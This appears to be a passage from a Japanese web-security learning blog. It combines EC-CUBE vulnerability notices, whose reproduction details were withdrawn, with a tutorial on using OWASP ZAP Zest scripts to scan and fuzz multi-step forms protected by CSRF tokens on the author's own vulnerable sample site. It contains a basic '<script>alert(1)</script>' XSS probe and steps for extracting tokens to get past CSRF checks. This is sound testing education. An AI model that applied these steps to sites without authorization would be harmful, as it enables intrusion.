本件も後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。


■[公開予告]クロスサイトリクエストフォージェリの脆弱性(情報公開日:2015-10-23 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報https://www.ec-cube.net/info/weakness/weakness.php?id=63
JVNDBhttp://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-000166.html
情報公開日2015年 10月 23日
危険度
対象EC-CUBE 2.11.0 から 2.13.4 まで

これは、管理画面に対するCSRFが有効な個所があり、その脆弱性がある画面で行うことができる機能の関係で、EC-CUBE管理画面にログイン中の管理ユーザーに対してあるURLを踏ませるだけで、結果としてPHPコードを実行できてしまう、という脆弱性です。

本件も後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。


(2016.8.18 22時追記)
EC-CUBE開発元の株式会社ロックオンより、脆弱性の再現手順の一般公開はユーザーへの被害が発生する恐れがあるため、今回のブログ記事の後編の公開は止めてほしい、との申し入れが来ましたので、後編の公開を中止いたします。

また、ロックオン社とはEC-CUBEのセキュリティ向上という目的自体は同じですので、今後も継続的にコミュニケーションをとりながら、対応していければと思います。


前回のpart8ではCSRF対策でトークンチェックが入っている複数画面遷移を自動的に辿ることに成功しました。

今回は、
・複数画面遷をした後のページの自動スキャン
・複数画面遷移を行いながらのファジングおよび判定ロジックの実装
のやり方を書いてみます。

Zest編(5)複数画面遷移後の自動スキャン


part8で作成したCSRFチェックの入った複数画面遷移を突破するZestスクリプトをそのまま使います。

Zestスクリプトのcomplete.phpへのPOSTを右クリックし、「Zestアクションを追加します」-「Action - Scan」を選択します。



すると、なんかまたとてもシンプルな「Zest Actionを追加します」というタイトルの、「Target Parameter:」というプルダウンとボタン二つだけのダイアログが出てきます。


ここでスキャン対象のパラメーターを選択することができそうに見えるのですが、ここでパラメーターを設定してもしなくても挙動が変わらない(ように私には見える)ので、ターゲットを選ばないで「保存」します。(※何か挙動に変化がある条件があるのかもしれないので、今後情報が得られたら本件追記します)

すると、complete.phpへのPOSTの下に、炎マークの「Action - Scan()」というノードが追加されます。



ここで、実はもう設定は完了で、このZestスクリプトを実行すると、index.php → confirm.php → complete.php とCSRFチェックを突破しつつ遷移し、最後にcomplete.phpに対して動的スキャンが実行されます。

ここですぐにスクリプトを実行しても良いのですが、注意点として、「Zestスクリプトから実行する動的スキャンは中断できない」というのがあり(※)、Zestスクリプトのテスト目的で普通にスキャンを実行するとスキャン完了まで長時間待つ必要が発生します。

そのため、Zestスクリプトを実行する前に、テスト実行用のスキャンポリシーの作成と設定をまず行います。

※ Zestスクリプト自体の実行停止ボタンがZestスクリプト実行ボタンの隣にあるのは発見したのですが、Zestスクリプト内のスキャンに関してはこれを押してもまったく停止せず最後まで実行されてしまいます。(これの停止ボタンをご存じの方教えてください)

Zestスクリプトの「Action - Scan」で実行される動的スキャンは、そもそもスキャンポリシーなどの設定箇所がないので、何のポリシーに基づいて動くのか? と思って調べたところ、「ZAPに設定されたデフォルトポリシーによるスキャンが実行される」という挙動をするようです。

デフォルトポリシーはZAPの設定画面から設定できるので、これを利用して、Zestの「Action - Scan」で自動的に実行される動的スキャンのポリシーを設定することが可能です。

まずZestから実行される動的スキャン用のポリシーを作成します。ZAPのメニューの「ポリシー」-「スキャンポリシー」を選択し、表示された「Scan Policy Manager」で「追加」を選択します。

表示された「スキャンポリシー」ウィンドウで、全カテゴリのThresholdをいったんオフにした後に「インジェクション」の「クロスサイト・スクリプティング(反射型)」のThresholdを「既定」にしてポリシー名を付けて保存し、反射型XSSのスキャン項目だけが実行されるポリシーを作成します。
(本例では「zestscanpolicy」というポリシー名とします)



それから、ZAPの「ツール」-「オプション」-「動的スキャン」の「Default active scan policy:」で、登録済のスキャンポリシーがプルダウンリストで選べるようになっているので、さきほど作成したスキャンポリシー(本例では「zestscanpolicy」)を選択し「OK」を押下します。



これでデフォルトのスキャンポリシーがZestスキャン用のポリシーに設定できたので、さきほどのZestスクリプトを実行してみます。

Zestスクリプト下のどれかのノードを選択し、右のペインの「実行」を押下すると、3画面遷移した後に、動的スキャンが実行されます。本ブログで配布したサンプルサイトを対象にしている場合は、complete.phpに対する動的スキャンの結果、反射型XSSが検出されます。



注意事項

上記手順を見て、CSRFチェックのある画面遷移を経て最後の画面に動的スキャンが成功しているから、このやり方で各種サイトの複数画面遷移が必要なページへの自動診断可能になるのでは? という考えを持たれる方もおられるかもしれません。

しかしここにはちょっと条件があって、ここではサンプルサイトのcomplete.phpのCSRFチェックの実装が甘く作られているから自動スキャンが成功しています。

サンプルサイトのCSRFチェックの実装だと、チェックが終わった後もトークンをセッションから削除しないので、complete.php画面に関してはリロードで再ポストを行ってもCSRFエラーになりません。再ポストがエラーにならないので動的スキャンが可能となっています。

confirm.phpの画面だと、POSTされたトークンとセッションにあるトークンを比較した直後に次画面用のトークンを取得してセッションの値を更新するので、リロードで再POSTを行うと、POST値のトークンがセッションにあるものと食い違うため、CSRFチェックに引っかかり、エラーになります。

そのため、この画面に対してはZestによるスキャンをセットしても全てCSRFエラー画面となり、動的スキャンが有効に実施されません。
(confirm.phpの画面にもXSSが仕込んでありますが、検出されません)



通常は複数画面遷移後の重要処理は再POSTを受け付けず、エラーにするページが多いと思うので、上記のZestのやり方で自動画面遷移後の動的スキャンを実施するのは、成功するサイトもあるとは思いますが、通常は厳しいと思われます。

どうせならZestに、1診断項目につき複数画面遷移を一回行うような感じの、複数画面遷移込みで特定画面をスキャンしてくれるようなオプションがあれば良いのにと思うのですが、そのような機能はZestには組み込まれていないようです。

代替案として、1項目ごとに複数画面を遷移するファジングのような処理を書くことは可能です。そのやり方を解説します。

Zest編(6)複数画面遷移+ファジング


今回はファジングを行うので、まずファジング用のファイルを作成します。
aaa
111
<script>alert(1)</script>
この三行をテキストファイルとして任意の場所に保存します。本例では「zestfuzztest.txt」とします。

ここで、Zestに対してFuzzing用のファイルの保存場所をフルパスで指定する必要があるので、ファイルの保存場所はうっかり移動したり削除したりしないような場所にしておいたほうが良いと思います。

Fuzzing用ファイルが準備できたら、これまで使ってきたZestサンプルスクリプトから、Zest編(5)で追加した「Action - Scan」のノードをいったん削除し、3画面を遷移するだけの状態に戻します。

Zestサンプルスクリプトの下にある全てのノードをShiftキー複数選択で全て選択した状態で右クリック - 「Surround with...」-「Loop File」を選択します。



「Zest Loopを追加」というダイアログが出るので、「変数名」にZestスクリプト内で参照したい変数名(本例では「zestfuzztest」とします)、「File Location」に、さきほど作成したFuzzing用ファイルをフルパスで指定します。



「保存」を押下すると、複数選択していたノードが全て、新しく作成された「Loop For zestfuzztest in zestfuzztest.txt」というノードの配下に移動します。



次に、Zestスクリプト内のcomplete.phpへのPOSTをダブルクリックし、「Zest Request」というダイアログを表示します。そのリクエストのBodyにある「name=Test+Taro」を「name={{zestfuzztest}}」に書き換えて保存します。



それで最後に、Fuzzing結果の判定ロジックを組み込む必要があります。
Zestスクリプトのcomplete.phpへのPOSTを選択し、右クリック - 「Add Zest Condition」-「Regex」を選択します。



「Add Zest Condition」というウィンドウが出てくるので、変数名「response.body」(デフォルトのまま)、「Regex」に「<script>alert\(1\)</script>」(カッコが正規表現上の特殊文字になるためエスケープする必要があります)を入力し、「保存」を選択します。



すると、complete.phpへのPOSTの下に「IF:Regex」「THEN」「ELSE」という条件分岐を表すノードが3つ登場します。



これの「THEN」を右クリックし「Zest Actionを追加します」-「Action - Fail」を選択すると、



ZAPのアラートを上げるための「Zest Actionを追加します」というタイトルのウィンドウが表示されるので、「Message」に「XSS!!!!!」、「Priority」を「High」に設定し保存します。



ついでに「ELSE」のほうを右クリックし、「Zest Actionを追加します」-「Action - Print」で、適当に「Not XSS...」というメッセージを表示するように設定します。



ここまで設定できたら、Zestサンプルスクリプトを実行すると、Fuzzerのファイルに基づいて、1つのファジングの項目に対して3画面を遷移し最終画面にPOST、を3回繰り返し、3回目で「<script>alert(1)</script>」がレスポンスにあるので「XSS!!!!!」というアラートが上がるのが確認できます。



アラートタブ:


ここまでできれば、Zestスクリプトは割に直感的に作ることが可能なので、本サンプルの応用でいろいろな処理を組むことが可能になると思います。

Zestスクリプト編は以上です。

残件として、ZAPのスクリプトで複数画面遷移+動的スキャンができなかったのが心残りですが、とあるアドオンでできる可能性があるという情報を入手したので、今後時間ができたらそれについて調べて、できるようなら続きを書きます。

※当ブログの記事中で紹介したサンプルコードはなるべく間違いのないように心がけておりますが、無保証です。利用する場合は自己責任にて改めて検証の上ご利用ください。
(何かミスを見つけたらお知らせください)

CSRF対策でトークンチェックが入っている画面遷移を自動的に辿るには、画面上の値を取得し、次画面へのPOST値に組み込む必要があります。Zestだとその処理を簡単に設定できます。

Zest編(4)CSRFチェックのある複数画面遷移


part7で利用したサンプルサイト、およびサンプルサイト用に作成したZestスクリプトをそのまま今回も利用します。

Zestスクリプトのindex.phpへのGETのノードを選択し、右クリック - 「Add Zest Assignment」- 「Assign variable to a form field」を選択します。



すると、「アサインの追加」というダイアログが出るのですが、そこの「Replacement Field」欄に、履歴に記録されたオリジナルのレスポンスに含まれるformのパラメーターがプルダウンリストの選択肢として出てきます。



(参考)index.phpのレスポンスのフォーム部分抜粋:
user registration:<br>
<form method="POST" action="confirm.php">
<input type="hidden" name="anticsrftoken" value="5ccd3cd47428d8182137c71ef3fbc3aa72d3cade"><br>
name:<input type="text" name="name" value="Test Taro"><br>
address:<input type="text" name="address" value="Test Street 12345"><br>
<input type="submit" value="submit"><br>
</form>

CSRF防止用トークンは「anticsrftoken」なので、この値を取得する必要があります。

さきほど表示された「アサインの追加」ダイアログで、

変数名: anticsrftoken1
Replacement Form: 0 (そのまま)
Replacement Field: anticsrftoken

を選択し、「保存」を押下すると、「GET」の下に「Assign」の項目が一つ増えます。



これで、この画面に対するGETリクエストのレスポンスにある、フォーム項目「anticsrftoken」の値を「anticsrftoken1」という変数に格納するという処理が書けました。

このコードで目的とするCSRF防止用トークンの値が本当に変数に格納されるのか、一度printして確かめてみます。

「Assign anticsrftoken1=(Form 0:Field anticsrftoken)」のノードを選択して右クリック - 「Zest Actionを追加します」 - 「Action Print」を選択します。



すると「Zest Actionを追加します」というタイトルの、「message:」というテキストボックスのみの殺風景なダイアログが出てきます。



Zestでは変数を参照するときにデリミタとして(デフォルトでは)「{{」「}}」で目的の変数名を挟んだものを利用します。ここでは「anticsrftoken1」という変数の値をprintしたいので、ダイアログの「message:」欄に

anticsrftoken1 value is {{anticsrftoken1}}


このように記入し、「保存」を押下します。すると「Assign」のノードの下に、「Action」のノードができます。



これでいったんスクリプトを実行してみると、script output panelに「anticsrftoken1 value is XXXXXXXX(ランダムな英数字)...」という文字列が出力されます。



ここで表示された「anticsrftoken1 value is XXXXXXXX(ランダムな英数字)...」は、Zestスクリプト動作時にZAPが新しくGETリクエストを投げて、取得したレスポンスに含まれるFormのInput項目「anticsrftoken」の値です。

本当にちゃんとリクエストを行って最新の値を取得しているかを確認したい場合は、Zest Resultsの結果の行を選択してZAPの「リクエスト」「レスポンス」タブを開くと、Zest実行時のリクエスト/レスポンスを確認可能です。

ここで取得したCSRF防止用トークンの値を次画面へのPOSTに含めれば、CSRFチェックを突破することができるはずです。その処理も簡単に書くことができます。

Zestスクリプトのconfirm.phpへのPOSTをダブルクリックし、「Zest Request」というウィンドウを表示させます。
「リクエスト」「cookies」「レスポンス」というタブがありますが、その「リクエスト」タブを開きます。

Body:の欄の内容が、このPOSTリクエストが履歴に加えられた時のリクエストボディの値(POSTパラメーター)となっています。



このPOST値の anticsrftoken=XXXXX(ランダムな英数字)... を、printの時と同じ要領で anticsrftoken={{anticsrftoken1}} に書き換えます。

それでZestを実行すると、confirm.phpの画面がCSRFチェックエラーにならず、正常表示されることが確認できます。



同じ要領で、confirm画面のフォームにある「anticsrftoken」欄の値を「anticsrftoken2」という変数に格納し、complete画面へのPOSTに含ませると、complete画面のCSRFチェックも突破でき、サンプルサイトの登録完了画面まで無事遷移できます。




続きます。

次へ

Powered by Blogger.
© WEB系情報セキュリティ学習メモ Suffusion theme by Sayontan Sinha. Converted by tmwwtw for LiteThemes.com.